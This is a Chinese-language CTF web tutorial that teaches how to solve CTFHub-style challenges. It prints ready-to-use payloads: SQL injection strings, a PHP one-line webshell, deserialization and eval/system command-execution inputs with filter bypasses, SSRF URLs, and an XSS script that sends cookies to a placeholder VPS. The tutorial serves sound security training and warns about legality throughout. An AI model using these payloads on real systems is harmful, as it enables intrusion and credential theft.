02-CTF-Web题型刷题思路:CTFHub、攻防世界题型拆解
合规声明:本文所涉及的靶场题目、解题技巧与工具用法,仅适用于 CTF 竞赛平台、公开漏洞靶场及自有实验环境。请勿在任何未经书面授权的真实系统上使用本文方法。合法边界详见本系列第1篇。
一、CTF 是什么?为什么它是"合法练兵场"
CTF 全称 Capture The Flag,直译"夺旗赛"。规则很简单:主办方搭建一批带漏洞的靶机或题目环境,参赛者要在规定时间内找到漏洞、拿到藏在题目里的 Flag ------通常是一段特定格式的字符串,比如 flag{xxxx} 或 ctfhub{xxxx},提交给平台即得分。
为什么说它是"合法练兵场"?因为:
- 靶机是平台搭的,授权是明摆着的。 你打的是官方提供的训练环境,任何行为都在授权范围内,不存在"未经授权测试"的法律问题。
- 考点明确。 每道题都设计好了漏洞点,你的任务是"找到并利用它",正好用来检验和强化你对漏洞原理的理解。
- 有反馈、有竞争。 做对了拿分、错了有 writeup 可看,还有解题排行,正反馈拉满。
对从"学漏洞"走向"挖漏洞"的过渡期来说,CTF 是性价比最高的练习方式------它用真实攻击的思维,却没有真实攻击的风险。
二、主流平台盘点与选型建议
国内 Web 方向刷题,主流的就这几个,各有定位:
| 平台 | 特点 | 适合人群 |
|---|---|---|
| CTFHub | 中文平台,技能树式引导,题目按技能点分类,带在线环境,一键开题 | 新手入门、系统性打基础 |
| 攻防世界(XCTF) | 老牌平台,很多题目是历年真实赛事原题,分类细 | 想刷经典题、备考比赛的选手 |
| BUUCTF | 题库聚合平台,题目量巨大,许多平台的题目都能找到 | 大量刷题党、"以量取胜"阶段 |
| i春秋 | 有课程有实战有 CTF 板块,适合边学边练 | 新手、喜欢有讲解的 |
| NSSCTF、天翼杯训练营等 | 各有特色题 | 进阶补充 |
新手建议路径:CTFHub 先把技能树 Web 分支刷一遍(打基础)→ 攻防世界刷经典题型(练思维)→ BUUCTF 海量刷题(提熟练度)。
为什么推荐这个顺序?CTFHub 的"技能树"设计就是为学习者准备的,它把 Web 漏洞拆成一棵技能树:SQL 注入是一个节点,XSS 是一个节点,每个节点下按难度分若干题。跟着技能树走,你不会迷路------这是新手最需要的。攻防世界的题偏"赛题风格",解题思路更接近真实比赛;BUUCTF 则胜在量大,适合刷熟练度。
三、Web 题常见题型总览
先建立全局观。CTF Web 方向常见题型,我按"漏洞类型"给你一张全景图:
bash
Web 题型全景(CTF 常见)
├── 注入类
│ ├── SQL 注入(联合注入/布尔盲注/时间盲注/报错注入/堆叠注入)
│ ├── 命令注入(RCE 之命令执行)
│ ├── XXE(XML 外部实体注入)
│ └── SSTI(模板注入)
├── XSS 类(反射型/存储型/DOM 型,CTF 里常用于打 admin bot)
├── 文件类
│ ├── 文件上传(绕过黑名单/文件头/解析漏洞)
│ ├── 文件包含(LFI/RFI,配合伪协议读文件)
│ └── 文件读取(任意文件读取/下载)
├── 反序列化类(PHP 反序列化/Python pickle/Java 反序列化)
├── SSRF(服务端请求伪造,打内网/打本机)
├── 命令执行与 RCE(代码执行 eval/命令执行 system、SSTI 也算一类)
├── 前端题(JS 逆向、前端 JS 混淆、控制台调试、本地存储里的 flag)
├── 源码审计(直接给源码/备份文件泄露,人工审计找漏洞)
├── 其他高频考点
│ ├── 逻辑漏洞(越权、验证码绕过、支付逻辑)
│ ├── 信息泄露(.git 泄露、备份文件、目录遍历、敏感接口)
│ ├── 弱口令与登录绕过
│ ├── 协议绕过(HTTP 方法、请求走私、Host 头注入)
│ └── 框架/中间件漏洞(fastjson、Shiro、Struts2、Log4j2 等)
└── 杂项
├── 扫描器探测(dirsearch、nikto)
├── 各种思路题(robots.txt、JS 注释、HTTP 头里藏 flag)
└── 密码学/编码(base64、MD5 截断、JWT 伪造)
不要被这张图吓到。打基础阶段,你不需要全精通,先吃透几类核心题型(注入、XSS、文件上传、文件包含、命令执行、信息泄露),再逐步扩展。框架漏洞和反序列化属于"专项进阶",本系列后续篇幅会专门拆。
四、CTFHub 技能树用法详解
CTFHub 之所以适合新手,就是因为它把"学习路径"替你规划好了。打开网站,进入技能树,你会看到 Web 方向下有这些模块:
bash
CTFHub 技能树 · Web 模块(节选)
├── Web 前置知识(HTTP 协议、请求头、Burp 使用)
├── 信息泄露(备份文件、git 泄露、源码泄露、目录遍历)
├── SQL 注入(整数型/字符型/报错注入/布尔盲注/时间盲注/堆叠注入...)
├── 密码口令(弱口令、默认口令)
├── 文件上传(前端校验、.htaccess、MIME 类型、00 截断、解析漏洞...)
├── RCE(eval 执行、命令注入、命令注入绕过...)
├── 文件包含(php://filter、php://input、伪协议组合)
├── SSRF(URL 白名单绕过、内网访问...)
├── XSS(反射型/存储型,配合 Bot 打 Cookie)
├── 反序列化(PHP 序列化基础、POP 链...)
└── 请求走私、HTTP 头注入、XXE、SSTI 等进阶模块
用法建议:
- 按节点顺序刷,别跳。 技能树的设计是"前置知识 → 简单漏洞 → 复杂漏洞",跳着刷容易卡壳。比如刷 SQL 注入前,先刷完 HTTP 前置知识。
- 每个节点刷 2-3 题。 第一题看 Writeup 或提示弄明白原理,第二题独立完成,第三题盲做检验。刷透一个节点,比走马观花刷十个节点强。
- 卡住 30 分钟就去看提示/Writeup。 刷题不是考试,没必要死磕。看完 Writeup 后关掉它重做一遍,才算真正掌握。
- 记录每题用时和思路。 CTFHub 每题有在线环境,随手记录你的解法和用时,方便日后复盘。
五、按题型拆解:每一类的代表题与完整思维流
下面我按题型给出"解题思维流",每类配一道代表题。这个思维流是 CTF 解题的通用框架:
观察 → 信息收集 → 定位漏洞 → 构造 payload → 拿 flag
5.1 SQL 注入类
代表题(以 CTFHub 整数型 SQL 注入为例):
Step 1 观察: 打开题目环境,一个简单的查询页面,URL 长这样:
bash
http://challenge.ctfhub.com/xxx?id=1
Step 2 信息收集: 页面展示了 id=1 对应的数据。URL 参数 id 直接拼接进数据库查询,这是最典型的注入候选点。先做基础探测:
- 输入
?id=1正常; - 输入
?id=2显示第二条数据,确认参数影响查询; - 输入
?id=1'页面报错或空白 → 说明单引号进入了 SQL 语句,存在注入点。
Step 3 定位漏洞: 用 ORDER BY 判断列数:
ini
? id=1 order by 1 -- 正常
? id=1 order by 2 -- 正常
? id=1 order by 3 -- 报错 → 说明查询只有 2 列
小技巧:ORDER BY 报错说明列数超了,所以"刚好不报错的最大值"就是列数。
Step 4 构造 payload: 用联合查询爆库名、表名、字段名,最后拿 flag:
csharp
# 1. 先确认回显位置
?id=-1 union select 1,2
# 2. 爆当前数据库名
?id=-1 union select 1,database()
# 3. 爆库里的表
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 4. 爆字段
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
# 5. 拿数据
?id=-1 union select 1,flag from flag
细节解释:
id=-1让正常查询无结果,联合查询的数据才会回显;group_concat()把多行结果合并成一行便于显示。这里的flag表、flag字段是这类题目常见的命名,具体名字以你爆出来的为准。
Step 5 拿 flag: 拿到形如 flag{...} 或 ctfhub{...} 的字符串,提交,过关。
盲注变体思维: 如果页面不回显查询结果,就用布尔盲注(if(条件,正常,异常))或时间盲注(if(条件,sleep(3),0)),本质都是"把数据库里的字符逐位猜出来"。原理一样,只是判断"对错"的方式不同。
5.2 XSS 类
代表题(CTFHub 反射型 XSS): 页面有一个提交框,输入的参数会"反射"到页面上。
思维流:
- 观察: 输入
test,发现它原样出现在页面的<p>标签里。 - 定位: 没有过滤直接输出,典型反射型 XSS。
- 构造 payload:
xml
<script>alert(1)</script>
提交后弹窗,说明 XSS 成立。但题目要的不是弹窗,是 flag------这类题通常是"你的输入会被管理员(Bot)访问",所以目标是窃取管理员的 Cookie 或让管理员把 flag 发给你。
- 进阶 payload(存储型/打 Bot): 你需要一个 VPS 接收数据,构造:
html
<script>
new Image().src = "http://你的VPS:8080/?cookie=" + document.cookie;
</script>
在 VPS 上用 nc -lvnp 8080 监听,等 Bot 访问后就能收到带 Cookie 的请求。
实践提示:CTFHub 的 XSS 题页面会给一个 Bot 地址,把 payload 提交到题目给的"提交给管理员"接口即可。自己做本地实验时,可以用 DVWA 的 XSS 模块配合本地监听练习。
5.3 文件上传类
代表题(CTFHub 文件上传-前端校验): 一个上传点,选一个 .jpg 能上传成功,选 .php 提示格式不正确。
思维流:
- 观察: 前端 JS 校验了后缀,上传
1.jpg成功并给了访问路径。 - 定位: 校验在前端(浏览器 JS),服务端没做或做得不严。
- 绕过前端校验: 两种常见思路:
- Burp 拦截改包: 上传
1.php,拦截请求把文件名改为1.jpg,看后端是否还校验; - 直接禁用/绕过前端 JS(F12 删掉校验函数,或直接构造 POST 请求)。
- Burp 拦截改包: 上传
- 构造 payload: 上传一个 WebShell:
php
<?php @eval($_POST['cmd']); ?>
用中国蚁剑(AntSword)或手工 POST 连接,读取当前目录或 flag 文件。
说明:
@eval($_POST['cmd'])是最常见的"一句话木马",@抑制报错,$_POST['cmd']接受密码参数执行任意 PHP 代码。在靶场里练可以,但请记住------这玩意儿在真实环境中上传到别人服务器,就是《刑法》第285条伺候。
- 拿 flag: 连上后
find / -name '*flag*'或读 Web 目录下的 flag 文件。
上传题的核心考点链: 前端校验 → MIME 类型 → 黑名单后缀 → 白名单后缀 → 文件内容头 → 解析漏洞(.user.ini / .htaccess / 中间件解析差异)→ 图片马 + 文件包含。CTFHub 把每一环拆成了单独题目,逐个刷完,你就能建立起完整的"上传绕过"知识树。
5.4 反序列化类
代表题(PHP 反序列化): 一个 index.php,代码大致是:
php
class A {
public $cmd = "ls";
public function __destruct() {
system($this->cmd);
}
}
$data = unserialize($_POST['data']);
思维流:
- 观察: 存在
unserialize(),且A类的__destruct()魔术方法调用了system()。 - 定位漏洞:
unserialize()接收用户输入且未过滤,__destruct()在对象销毁时自动执行------这就构成反序列化 RCE 的可能。 - 构造 payload: 需要先序列化一个对象,把
cmd设成我们想要的命令。可以用 PHP 在线生成:
php
class A {
public $cmd = "cat /flag";
}
echo serialize(new A());
// 输出: O:1:"A":1:{s:3:"cmd";s:8:"cat /flag";}
把生成的序列化字符串 POST 给 data 参数即可执行 cat /flag。
新手常见误区:以为序列化字符串是自己手写的。实际上序列化字符串的格式是固定的,你只需要在本地写一个同名类,
serialize()生成后复制过去。这个"本地构造 → 远端触发"的流程,就是反序列化利用的通用套路。
进阶: 真实赛题通常没有这么"善良",会让你找一条 POP 链 (多个魔术方法串联触发),甚至配合 phar:// 伪协议触发。这一块属于专项进阶,先把基础理解透。
5.5 SSRF 类
代表题(CTFHub SSRF-内网访问): 页面有一个 URL 参数,服务端会去请求这个 URL 并把结果返回。
思维流:
- 观察: 输入
http://127.0.0.1/,返回了本机首页内容 → 服务端真的去请求了,SSRF 成立。 - 定位: 目标是访问内网资源。
- 构造 payload: 题目会提示"内网有一个 127.0.0.1:8080 的 flag 服务":
ini
?url=http://127.0.0.1:8080/flag
或
ini
?url=http://127.0.0.1:8080
返回了 flag,提交即可。
- 进阶: 更难的 SSRF 题会加"限制"------比如 URL 必须以
http://开头、不能包含127.0.0.1、只能访问特定端口。绕过手法有:IP 变形(0.0.0.0、2130706433、十六进制)、DNS 重绑定、协议变体(gopher://打内网 Redis)、URL 解析绕过(@符号、#注释)等。记住:任何"服务端发起的网络请求"功能点,都是 SSRF 的候选。
5.6 命令执行类
代表题(CTFHub RCE-eval): 页面直接给你一段代码:
php
eval($_REQUEST["cmd"]);
思维流:
- 观察: 存在
eval()且参数直接来自请求 → RCE(代码执行)。 - 构造 payload: 传入:
ini
?cmd=system("ls /");
?cmd=system("cat /flag");
说明:
system()是 PHP 执行系统命令的函数,eval()会把字符串当 PHP 代码执行,两者配合就能执行任意命令。这类题考的就是"认识函数 + 知道怎么拼 payload"。
命令注入变体: 如果代码是 system("ping " . $ip) 这种拼接,就是命令注入,利用 ;、|、&&、 等符号拼接命令:
ini
?ip=127.0.0.1;cat /flag
?ip=127.0.0.1||cat /flag
绕过变体: 过滤了空格、flag 关键词、cat 命令时,用 ${IFS} 代替空格、fla* 通配符、c""at 拼接字符串等技巧绕过。
5.7 JS 前端题
代表题(前端 JS 混淆): 打开页面,提示"输入正确的 flag"。
思维流:
- 观察: F12 打开开发者工具,查看 Network/JS 文件。这类题 flag 藏在 JS 代码里 或 需要逆向前端校验逻辑。
- 信息收集: 右键"查看源代码",或打开
script.js,常见藏 flag 位置:- 直接写死在 JS 里(
var flag = "flag{xxx}"); - 前端校验函数
check(input),把正确 flag 加密后比较,需要逆向算法; - 藏在 Cookie、localStorage、注释、Console 输出里。
- 直接写死在 JS 里(
- 定位与破解: 找到校验函数后,把函数逻辑"反过来"解出 flag。比如:
javascript
function check(pwd) {
return btoa(pwd) === "ZmxhZ3tqczFzZWNyZXR9";
}
btoa 是 base64 编码,那么反解:
bash
echo "ZmxhZ3tqczFzZWNyZXR9" | base64 -d
得到 flag{js1secret}。
一句话心得:前端题的本质是"所有秘密都不可信"------因为代码在用户手里,加密只是掩耳盗铃。拿到 JS 就分析,别慌。
5.8 源码审计类
代表题(信息泄露-源码泄露): 网站给了个提示"源码泄露了",通常指 .git 目录暴露。
思维流:
- 观察: 访问
http://目标/.git/,返回了目录列表 → 存在.git泄露。 - 信息收集: 用
GitHack、githack等工具把泄露的源码克隆下来,或手动补全.git目录。 - 定位漏洞: 通读源码,找敏感信息(数据库密码、flag 硬编码、管理员后台路径)。
- 拿 flag: 这类题 flag 常在配置文件、备份文件或源码注释里。
其他源码获取途径: 备份文件(1.php.bak、www.zip、index.php.swp)、目录遍历、robots.txt 泄露路径。CTFHub 的"信息泄露"模块把这些情况都做了题,值得全刷。
六、flag 提交与积分规则
- Flag 格式: 不同比赛/平台前缀不同。CTFHub 是
ctfhub{...},很多比赛是flag{...},也有平台自定义。如果你发现形如xxx{yyy}的字符串,直接复制提交试试,大概率就是。 - 提交方式: 平台每题有一个"提交 Flag"输入框,填入完整字符串(含大括号)提交。大小写敏感,别打错。
- 首次提交有效: 大部分平台以首次提交为准,重复提交不重复计分。
- 动态 Flag: 现代 CTF 平台(尤其在线靶场)普遍使用动态 flag ------每个用户每次开环境拿到的 flag 都不同,目的是防"抄答案"。所以刷题时一定用自己的环境,网上 Writeup 里的 flag 直接抄是提交不上的。
- 积分体系: 平台通常按难度给分,简单题 10-50 分,难题几百上千分。CTFHub 还有"通过率"排行和称号,刷得多会有成就感正反馈。
七、刷题方法论:怎么刷才有效
7.1 分类专项突破 vs 混合练习
两种模式各有用途,正确的姿势是分阶段组合使用:
| 阶段 | 模式 | 目标 |
|---|---|---|
| 入门期(前2-3周) | 分类专项突破 | 建立"某种漏洞长什么样、怎么打"的条件反射 |
| 提高期 | 混合练习(随机抽题) | 训练"识别漏洞类型"的能力,模拟实战找入口 |
| 赛前期 | 限时模拟赛 | 训练时间分配和取舍 |
专项突破的刷法: 今天只刷 SQL 注入,明天只刷文件上传。刷完一类,你脑子里就建立了一张"该类漏洞的考点图谱"(如上传题从前端校验一直绕到解析漏洞),这类图谱是笔试、面试、挖洞都通用的核心资产。
混合练习的刷法: 随机拿题,不许先看考点标签。先做信息收集和探测,自己判断"这题大概是哪类",再动手。这才是"实战"的感觉------真实世界不会在题目上贴"SQL注入"的标签。
7.2 错题复盘本:你的私人知识库
强烈建议建一个"错题复盘"文档(本地 Markdown 或 Notion 都行),每道卡住的题记三件事:
【题目】题目名 / 平台 / 考点
【卡点】我在哪一步卡住了?
【解法】正确解法是什么?关键 payload 是什么?
【沉淀】这一类题型的通用套路是什么?下次怎么快速识别?
复盘的价值在于把"看会了"变成"做会了"。很多同学刷题刷的是"数量",实际上刷的是"看 Writeup 的数量"------看完觉得"哦原来如此",关上网页全忘了。而复盘本强制你输出,输出才真正形成记忆。
7.3 高质量输入:读别人的 Writeup
刷题之外,大量读优秀 Writeup 同样重要。推荐渠道:
- 平台自带的题解区(CTFHub、攻防世界都有);
- CSDN、FreeBuf、先知社区、博客园上的 writeup 合集;
- GitHub 上的 writeup 仓库(搜
CTF writeup); - 各大赛事的官方 writeup(RoarCTF、XCTF 等)。
读 Writeup 的方法:先自己试,卡住了再读,读完关掉重做。 直接抄答案等于没刷。
八、CTF 与实战的区别:心态要转变
最后必须泼一盆冷水:CTF 打得好 ≠ 实战挖洞能力强。 两者差距在哪?
css
CTF 竞赛 真实 SRC 挖洞
出题方式 明确考点,就等你去打 没有考点,入口要自己找
目标 有 Flag,逻辑清晰 资产多、范围杂,不知道从哪下手
环境 单机/隔离环境,安全 真实业务,有人用、有监控、有底线
反馈 提交 flag 立刻判分 提交报告等审核,可能石沉大海
难度 单一漏洞利用 需要资产测绘+多漏洞串联+影响评估
具体来说:
- CTF 告诉你"哪里有洞",实战要自己"找洞"。 CTF 题目的 URL、参数、功能点都是精心设计的,你一上来就直奔主题;真实系统里几百个功能点,你得靠资产测绘、指纹识别、代码审计慢慢筛。
- CTF 是"解一道题",实战是"做一个项目"。 实战需要完整流程:资产范围确认 → 测绘 → 测试 → 报告 → 跟审核 → 修复合验。
- CTF 无风险,实战每一步都要评估影响。 你在 CTF 里随便
drop table,在真实系统里就是犯罪。实战里"点到为止"不仅是道德要求,更是生存要求。
所以本系列的进阶路径很清晰:第2、3篇在 CTF 里把"漏洞利用"练熟(合法无风险)→ 第4、5篇进入 SRC 学"完整挖洞流程和报告"(真实但守规则)→ 后续专项篇深入中间件和数据库漏洞。 CTF 是你的训练场,SRC 才是你检验训练成果的试炼场,两者互补,缺一不可。
九、本篇小结
- CTF 是合法练兵场,目标明确、环境安全、反馈即时,是练漏洞利用手感的首选。
- 平台选择:CTFHub 打基础(技能树)→ 攻防世界刷经典 → BUUCTF 刷数量。
- 题型全景:注入、XSS、文件、反序列化、SSRF、RCE、前端、源码审计八大类,先吃透前六类。
- 解题思维流 :
观察 → 信息收集 → 定位漏洞 → 构造 payload → 拿 flag,五步走不迷路。 - 刷题方法论:专项突破建图谱 → 混合练习练识别 → 错题复盘本沉淀 → 高质量读题解。
- CTF ≠ 实战,但它为实战铺垫了最扎实的"漏洞识别与利用"基本功。
下一篇进入第3篇,聊聊怎么把刷过的题写成规范的 Writeup------输出倒逼输入,这一步做完,你的刷题效果会翻倍。
合规提示:本文所有方法与工具请仅在 CTF 平台、公开靶场或已获书面授权范围内使用。